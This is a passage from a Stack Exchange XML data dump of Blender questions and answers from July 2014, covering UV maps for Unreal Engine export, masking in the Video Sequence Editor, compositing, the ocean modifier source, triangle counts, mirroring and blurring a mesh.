Ray Length result?&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-07-30T10:18:39.213" Title="Cycles: How can the camera position be removed from the Light Path node's Ray Length" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14519" PostTypeId="1" CreationDate="2014-07-30T05:52:19.660" Score="3" ViewCount="2668" Body="&lt;p&gt;For the life of me I can't figure out why this happens when I add a UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow, I managed to apply only a single image to my highest level UV map and the lower level UV map maintained the same resolution--allowing me to get the same resolution on both my UV maps and nicely import my mesh into another editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I've not been able to duplicate this except on one mesh.  What's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow I was able to set the mesh resolution without applying an image.  This is exactly what I want because applying multiple images to multiple UV maps is creating issues for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how I can set resolution on a UV map without applying an image?  It's definitely working for me on one of my meshes, but I just don't know how.  It's fine if they all have to be the same resolution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a file with two proportional UV maps (which is fine).  One of them doesn't even have an image applied to it, and yet it works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/file/d/0B3jOsV51Z7CuRmFRb3JyOUFYVFU/edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/file/d/0B3jOsV51Z7CuRmFRb3JyOUFYVFU/edit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which ends up looking like this with 2 textures applied&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSDxo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then, what has been happening to me dozens of times, is this other version which ends up with 1 texture being very low res (or zoomed in somehow?) and the other texture displaying.  Sometimes it seems to not detect there are 2 UV maps at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info : I'm using FBX export and Unreal Engine 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what I've been doing wrong, and what I did right the one time?  I'm pulling my hair out because I can't figure out why all of my UV maps come out terrible--except for one.  What I'm doing seems extremely basic but FOR THE LIFE OF ME, I can't figure out what I've been doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : I was able to get a screengrab of a bad export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YC9cX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5416" LastEditorUserId="599" LastEditDate="2014-07-30T06:33:50.423" LastActivityDate="2015-11-22T23:45:50.420" Title="Multiple UV maps -- One UV map always low res or missing" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;&lt;export&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14521" PostTypeId="2" ParentId="14519" CreationDate="2014-07-30T09:16:15.230" Score="4" Body="&lt;p&gt;I found the solution.  It looks like the Unreal Engine only supports a single UV map for actual textures (you can still achieve multiple materials easily)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason my first example worked is because I was only actually using the 1 UV map and it had 2 materials inside of it and the other uv map was doing nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to delete this, but Blender and Unreal are pretty much attached at the hip at this point.  They fund Blender and the FBX export just went into the main package, so I'm sure I won't be the only one assuming I can duplicate the 'blender way of doing things' with multiple true UV maps like in this video&lt;br&gt;&#xA;&lt;a href=&quot;https://vimeo.com/29009315&quot; rel=&quot;nofollow&quot;&gt;Tip: Using Multiple UV Coordinates&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/tip-using-multiple-uv-coordinates/&quot; rel=&quot;nofollow&quot;&gt;archive&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put, it looks like Unreal Engine 4 only looks at UV map 0 for textures.&lt;/p&gt;&#xA;" OwnerUserId="5416" LastEditorUserId="2217" LastEditDate="2015-11-22T23:45:04.187" LastActivityDate="2015-11-22T23:45:04.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14522" PostTypeId="1" AcceptedAnswerId="14523" CreationDate="2014-07-30T09:21:00.017" Score="8" ViewCount="4696" Body="&lt;p&gt;How do you do a basic image mask in the Video Sequence editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two images that I want to mix together using a third image, where the black pixels will mean showing the first image, and the white pixels showing the second. Like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hyQWc.jpg&quot; alt=&quot;Desired result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(First and second images mixed using the third image, the mask, resulting in the bottom image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is trivial in the compositor, but I have several dozen shots to do this for so I'd rather not make a mess of scenes and compositing. How can achieve this same result inside the VSE alone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPkIz.png&quot; alt=&quot;How it&amp;#39;s done in the compositor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-05-04T18:29:42.010" Title="Simple Masking/Stencil in the VSE" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14523" PostTypeId="2" ParentId="14522" CreationDate="2014-07-30T09:29:32.053" Score="9" Body="&lt;p&gt;You can use a mask strip modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VUtQU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above example &lt;em&gt;scene1&lt;/em&gt; contains a cube, &lt;em&gt;scene2&lt;/em&gt; contains a Suzanne, and &lt;em&gt;mask_sequence&lt;/em&gt; is a black and white mask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mask modifier can use either a mask or another VSE strip to modify the transparency of the modified strip according to the darkness of the mask. If you set the blend type of the modified strip to &lt;em&gt;Alpha over&lt;/em&gt;, the strip(s) underneath will show through the transparent parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/215/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=215&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-05-04T18:29:42.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14524" PostTypeId="1" AcceptedAnswerId="14526" CreationDate="2014-07-30T09:53:42.530" Score="11" ViewCount="45181" Body="&lt;p&gt;I've got a problem while unwrapping UVs. When I'm unwrapping UVs it showing me this message. &lt;img src=&quot;https://i.stack.imgur.com/rZg8Z.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="599" LastEditDate="2014-07-30T10:07:09.757" LastActivityDate="2017-11-23T16:04:06.547" Title="Non-Uniform Scaling during UV unwrap. What is this?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14525" PostTypeId="1" AcceptedAnswerId="14527" CreationDate="2014-07-30T09:54:58.483" Score="2" ViewCount="652" Body="&lt;p&gt;Only my sky texture seems to be rendering everything else is not coming up. Below is an image of my composting page &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2A0WI.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how to upload a blender file on here.(&lt;a href=&quot;http://www.pasteall.org/blend/30729&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/30729&lt;/a&gt; please tell me if the link to the blend file works)&lt;/p&gt;&#xA;" OwnerUserId="5420" LastEditorUserId="5420" LastEditDate="2014-07-30T10:12:10.360" LastActivityDate="2014-07-30T10:18:37.497" Title="Only my sky texture is rendering" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14526" PostTypeId="2" ParentId="14524" CreationDate="2014-07-30T09:55:15.763" Score="13" Body="&lt;p&gt;It's because your object has been scaled on some axes more than others in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S9Ngv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be fine, but if you are having problems you could try applying the scale by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Scale&lt;/em&gt; in object mode. This will apply the object mode scale &quot;offsets&quot; to the mesh data, resetting the offsets to 1 without  changing the appearance of the model. Note that this could affect modifiers such as bevel. See &lt;a href=&quot;https://blender.stackexchange.com/q/12288/599&quot;&gt;Why are the longer edges being beveled more?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2014-07-30T10:01:31.320" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14527" PostTypeId="2" ParentId="14525" CreationDate="2014-07-30T10:05:46.073" Score="0" Body="&lt;p&gt;I'm not sure what you want, but it looks like you are using an alpha over node on two image without any transparency. This means only the image in the bottom input is used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uewxa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what I think you want to do, you need to render the sky as transparency. To do this, enable &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;render settings &gt; Film&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A3oC3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also seem to have deselected the layer with the model in the renderlayer. Ensure the layer you want is selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IjF1Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once that's done, you should get a result like this (ignore the scale node, I needed that to scale my sky image to the render size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iBTWb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-30T10:18:37.497" LastActivityDate="2014-07-30T10:18:37.497" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14528" PostTypeId="2" ParentId="14518" CreationDate="2014-07-30T10:18:39.213" Score="4" Body="&lt;p&gt;If you think about it, it's pretty easy; The way Booleans (true or false, not the modifier) are represented inside Blender by either 1 or 0; So if you do &quot;1 - is Camera Ray&quot;, you will get ,basically, is NOT Camera Ray; if you multiply the Ray Length with is Not Camera Ray you will get the length for all rays except for the Camera ones. You could choose another Ray, and multiply it with Ray Length, to basicly get the length of that Ray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note there's a Ambient Occlusion node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5Lo9.png&quot; alt=&quot;Node Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the part inside the box, you can use the rest of your material.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-07-30T10:18:39.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14529" PostTypeId="1" CreationDate="2014-07-30T11:26:48.257" Score="1" ViewCount="595" Body="&lt;p&gt;&lt;strong&gt;Is source code for the ocean modifier accessible?&lt;/strong&gt; I looked through my Blender installation, but I can't find it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a game (not in Blender because it's for iOS/Android) and would like to use real-time generated ocean waves rather than using prebaked .obj files, but have no idea how to make waves like that on my own.&lt;/p&gt;&#xA;" OwnerUserId="3129" LastEditorUserId="3127" LastEditDate="2014-12-17T15:35:40.297" LastActivityDate="2015-02-06T14:23:21.590" Title="Ocean modifier source code" Tags="&lt;modifiers&gt;&lt;ocean-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14530" PostTypeId="1" AcceptedAnswerId="14531" CreationDate="2014-07-30T13:03:28.310" Score="1" ViewCount="764" Body="&lt;p&gt;I am looking to add textures to other parts of this scene. However, every time I click texture it doesn't seem to change from the previous world texture, which I applied. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to my &lt;a href=&quot;http://www.pasteall.org/blend/30735&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also do you know how can I make the pillars dirty and realistic? Just like in this video:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=vtO1s86HhRU&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=vtO1s86HhRU&lt;/a&gt; (he changes it to dirty at 34 seconds)&lt;/p&gt;&#xA;" OwnerUserId="5420" LastEditorUserId="2217" LastEditDate="2014-07-30T13:50:36.157" LastActivityDate="2014-07-30T13:50:36.157" Title="Only showing world texture, not allowing to add texture to other objects" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14531" PostTypeId="2" ParentId="14530" CreationDate="2014-07-30T13:10:49.950" Score="1" Body="&lt;p&gt;&lt;strong&gt;For the blender internal:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to change the texture type. The button is in the texture panel of the properties window. It is highlighted in red in the image below. You will want it to me set to &lt;em&gt;Material Textures&lt;/em&gt;, the second button. A object that can have a materiel must be selected. If everything is selected or nothing is selected that option will not be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y4BCU.png&quot; alt=&quot;texture button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Cycles:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture must be added through the cycles material. The texture panel when using cycles behaves differently then in the blender internal. If there is a texture node in the selected materiel then the texture will display in the texture panel. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/bnEzk.png&quot; alt=&quot;cycles texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-30T13:47:23.450" LastActivityDate="2014-07-30T13:47:23.450" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14532" PostTypeId="2" ParentId="14529" CreationDate="2014-07-30T13:49:29.890" Score="4" Body="&lt;p&gt;You can't find the source within the Blender installation because it's compiled code (C/C++). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An probably older implementation: &lt;a href=&quot;http://wiki.blender.org/uploads/c/c6/Blender_Ocean.c&quot; rel=&quot;nofollow&quot;&gt;Blender_Ocean.c&lt;/a&gt; has pointers to the original paper by Jerry Tessendorf &lt;a href=&quot;http://graphics.ucsd.edu/courses/rendering/2005/jdewall/tessendorf.pdf&quot; rel=&quot;nofollow&quot;&gt;Simulating Ocean Water&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find the current source file in &lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/blenkernel/intern/ocean.c&quot; rel=&quot;nofollow&quot;&gt;GIT&lt;/a&gt; version control&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="9" LastEditDate="2014-07-30T14:04:25.023" LastActivityDate="2014-07-30T14:04:25.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14533" PostTypeId="1" AcceptedAnswerId="14535" CreationDate="2014-07-30T15:00:02.027" Score="3" ViewCount="10483" Body="&lt;p&gt;When I want to make some item, e.g. for a game, there's big chance for some triangle limit.&lt;br&gt;&#xA;Is there some way how to find out how many triangles are in my model?&lt;/p&gt;&#xA;" OwnerDisplayName="user3123" LastEditorUserId="599" LastEditDate="2014-07-30T19:32:07.017" LastActivityDate="2014-07-31T15:18:14.390" Title="How can I find out how many triangles are in my model?" Tags="&lt;mesh&gt;&lt;interface&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14534" PostTypeId="1" AcceptedAnswerId="14536" CreationDate="2014-07-30T15:04:12.863" Score="9" ViewCount="16896" Body="&lt;p&gt;I'm having trouble mirroring an object across the global X axis. As it stands the mirror modifier uses the local object center.&lt;br&gt;&#xA;Is there any way to use global axis as the pivot?&lt;/p&gt;&#xA;" OwnerDisplayName="user5423" LastEditorUserId="3127" LastEditDate="2015-02-17T16:14:42.153" LastActivityDate="2019-09-13T08:48:57.137" Title="Mirroring object across global axis using mirror modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14535" PostTypeId="2" ParentId="14533" CreationDate="2014-07-30T15:05:40.983" Score="6" Body="&lt;p&gt;Select your object, and go into edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;). In the info bar it will say how many triangles are in your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QftiG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode it will tell you how many triangles you have in the current layer(s).&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-31T15:18:14.390" LastActivityDate="2014-07-31T15:18:14.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14536" PostTypeId="2" ParentId="14534" CreationDate="2014-07-30T15:09:17.190" Score="12" Body="&lt;p&gt;Use the &lt;strong&gt;mirror object&lt;/strong&gt;, set to an empty with &lt;em&gt;no rotation&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oox68.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-07-30T15:09:17.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14537" PostTypeId="2" ParentId="14509" CreationDate="2014-07-30T15:38:50.133" Score="5" Body="&lt;p&gt;I can think of a couple possibilities:&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your audio track is muted in the VSE&lt;p&gt;Select the track&lt;p&gt; hit &lt;kbd&gt;n&lt;/kbd&gt;&lt;p&gt; deselect the 'eye' button&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ti6Do.png&quot; alt=&quot;VSE track settings&quot;&gt;&lt;p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Your sequence is no longer pointing to the audio file because you've moved it or the blend&lt;p&gt;repath the file using the 'file location' tool button shown in the above image &lt;/li&gt;&#xA;&lt;li&gt;Your scene volume is set to 0&lt;p&gt; goto the &lt;i&gt;Scene &lt;/i&gt; tab in the &lt;i&gt;Properties&lt;/i&gt; frame&lt;p&gt;expand the &lt;i&gt;Audio&lt;/i&gt; panel&lt;p&gt; adjust the volume or other settings&lt;p&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lLhuE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-07-30T15:38:50.133" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14538" PostTypeId="1" CreationDate="2014-07-30T16:42:38.883" Score="8" ViewCount="8453" Body="&lt;p&gt;How do I blur a video track in video editor? I want to animate a video track from sharp to blurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already solved the problem in an inelegant way (by blurring the source video track in VirtualDub and then crossfading it with the sharp video track), but it would be nice to know how I can do it in Blender for future reference.&lt;/p&gt;&#xA;" OwnerUserId="5412" LastEditorUserId="2217" LastEditDate="2014-08-05T18:12:14.760" LastActivityDate="2017-06-02T10:35:38.970" Title="Blur video track in Video Editor?" Tags="&lt;video-sequence-editor&gt;&lt;blur&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14539" PostTypeId="1" CreationDate="2014-07-30T16:47:32.003" Score="4" ViewCount="2253" Body="&lt;p&gt;I'm creating an Earth and it looks amazing! But the atmosphere still has sharp edges. I've created the glow but have had to make a transparent sphere around the earth to create another effect to symbolize distance. However, although this looks brilliant, I want the outer edges of the atmosphere/sphere to be blurred or feathered slightly. I don't know how to do this. I've tried in the compositor and shader, plus I don't want to use cycles as it will ruin all my current settings. Is there any way to blur a specific mesh/material in the shader, compositor or material panels without it effecting the nodes for everything else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a rendered image to help you out. From a different angle it looks great but it's just the atmosphere that ruins this angle:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zYsCr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, does anyone know how to darken the blue land of the night light map? It's very unrealistic to be seeing the land at night but I can't remember how I did it last time. Thanks in advance!!&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="2217" LastEditDate="2014-08-05T18:10:24.583" LastActivityDate="2014-08-05T18:10:24.583" Title="Blur a mesh without nodes or cycles?" Tags="&lt;materials&gt;&lt;compositor&gt;&lt;blender-internal-render-engine&gt;&lt;blur&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14540" PostTypeId="2" ParentId="14497" CreationDate="2014-07-30T18:07:55.620" Score="1" Body="&lt;p&gt;Here is another way to model the smooth shape you want.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a circle&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;edit mode&lt;/em&gt; delete the bottom half of it.&lt;/li&gt;&#xA;&lt;li&gt;Extrude it to make a half cylinder shape. &lt;img src=&quot;https://i.stack.imgur.com/ydcEL.png&quot; alt=&quot;extrude&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add loop cuts for a smother final shape. &lt;img src=&quot;https://i.stack.imgur.com/Aqi7Y.png&quot; alt=&quot;loop cuts&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the end edge loop.&lt;/li&gt;&#xA;&lt;li&gt;Turn &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Proportional_Edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Proportional Editing&lt;/em&gt;&lt;/a&gt; on.&lt;/li&gt;&#xA;&lt;li&gt;Scale the end edge loop to 0 on the Z axis, adjust the Proportional Editing Influence to include all but the other end of the shape. &lt;img src=&quot;https://i.stack.imgur.com/IckvD.png&quot; alt=&quot;scale&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Again with the same Proportional Editing settings, move the end edge loop down until the bottom is flat. &lt;img src=&quot;https://i.stack.imgur.com/jpOKc.png&quot; alt=&quot;grab&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-07-30T18:07:55.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14542" PostTypeId="2" ParentId="14539" CreationDate="2014-07-30T19:19:01.193" Score="3" Body="&lt;p&gt;You can use the object and material index passes to get a black and white mask of a particular object or material.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the passes in &lt;em&gt;Render layers &amp;gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fmyqj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give the material or object you want to blur a unique pass index value, in &lt;em&gt;Materials &amp;gt; Options&lt;/em&gt; for materials and &lt;em&gt;Object &amp;gt; Relations&lt;/em&gt; for objects:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3VrLy.png&quot; alt=&quot;enter image description here&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/nkfLz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the mask to separate and blur that object/material. In this example I blurred the mask, mapped some colors to it with the color ramp node (making sure the part where the planet was is black), and added it back to the main image:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gw0XX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YO9sm.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;How would I link these?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-01T13:34:37.340" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14543" PostTypeId="1" AcceptedAnswerId="14544" CreationDate="2014-07-30T19:36:39.330" Score="3" ViewCount="3455" Body="&lt;p&gt;From what I can tell the grid object type is just a subdivided plane. What is the difference between adding a plane and subdividing it, and adding a &quot;grid&quot;? If there is some &lt;strong&gt;hidden&lt;/strong&gt; difference what is it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dqjbp.png&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Your very close to C#7&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dqjbp.png&quot; alt=&quot;enter image description here&quot; title=&quot;Your very close to C#7&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-04-04T01:42:57.327" LastActivityDate="2015-04-04T01:42:57.327" Title="What is the purpose of the &quot;Grid&quot; object type?" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14544" PostTypeId="2" ParentId="14543" CreationDate="2014-07-30T19:38:07.763" Score="4" Body="&lt;p&gt;I don't think there is any difference, other than it's slightly  faster to add a grid than to add a plane and subdivide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Primitives#Grid&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A standard grid is made out of n by m vertices. The resolution of the&#xA;  x-axis and y-axis can be specified in the context panel in the Tool&#xA;  Shelf which appears when the object is created; the higher the&#xA;  resolution, the more vertices are created. Example objects that can be&#xA;  created out of grids include landscapes (with the proportional editing&#xA;  tool or Displace modifier) and other organic surfaces. &lt;strong&gt;You can also&#xA;  obtain a grid when you create a plane and then use a subdivide&#xA;  modifier in Edit mode.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;emphasis mine&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-30T19:38:07.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14545" PostTypeId="1" AcceptedAnswerId="14594" CreationDate="2014-07-30T19:44:57.470" Score="3" ViewCount="1547" Body="&lt;p&gt;Is the ocean modifier better than the fluid simulation for making an ocean when it comes to  visibility under the surface of the water, reflections and splashes in the water? Which one is better for making those things?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-10-15T03:37:42.700" LastActivityDate="2014-10-15T03:37:42.700" Title="Is the ocean modifier better than the fluid simulation for making an ocean?" Tags="&lt;rendering&gt;&lt;shaders&gt;&lt;fluid-simulation&gt;&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ClosedDate="2014-10-13T18:13:34.550" ContentLicense="CC BY-SA 3.0" />
